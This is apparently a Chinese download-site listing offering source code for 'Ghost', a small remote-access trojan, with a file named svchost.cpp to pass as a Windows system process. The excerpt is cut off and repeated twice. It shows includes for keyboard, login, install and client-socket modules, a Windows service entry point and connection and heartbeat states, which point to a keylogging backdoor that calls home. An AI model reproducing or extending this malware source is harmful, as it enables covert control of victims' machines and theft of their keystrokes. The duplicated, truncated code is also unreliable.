文件名称:svchost
介绍说明--下载内容均来自于网络,请自行研究使用
ghost小马源码,喜欢的可以拿去研究。-// svchost.cpp : Defines the entry point for the console application.
//
#pragma comment(linker, /OPT:NOWIN98 )
#include ClientSocket.h
#include common/KernelManager.h
#include common/KeyboardManager.h
#include common/login.h
#include common/install.h
#include common/until.h
#include <stdio.h>
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
}
extern C __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
//void __stdcall AntiYun()
//void __stdcall MoniteGame()
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
void __stdcall ServiceHandler(DWORD dwControl)
#ifdef _CONSOLE
int main(int argc, char**argv)
#else
DWORD WINAPI main(char*lpServiceName)
#endif
SERVICE_STATUS_HANDLE hServiceStatus
DWORD g_dwCurrState
DWORD g_dwServiceType
char svcname[MAX_PATH]
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
// 发生异常,重新创建进程
HANDLE
//
#pragma comment(linker, /OPT:NOWIN98 )
#include ClientSocket.h
#include common/KernelManager.h
#include common/KeyboardManager.h
#include common/login.h
#include common/install.h
#include common/until.h
#include <stdio.h>
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
}
extern C __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
//void __stdcall AntiYun()
//void __stdcall MoniteGame()
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
void __stdcall ServiceHandler(DWORD dwControl)
#ifdef _CONSOLE
int main(int argc, char**argv)
#else
DWORD WINAPI main(char*lpServiceName)
#endif
SERVICE_STATUS_HANDLE hServiceStatus
DWORD g_dwCurrState
DWORD g_dwServiceType
char svcname[MAX_PATH]
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
// 发生异常,重新创建进程
HANDLE
(系统自动生成,下载前可以参看下载内容)
下载文件列表
svchost.cpp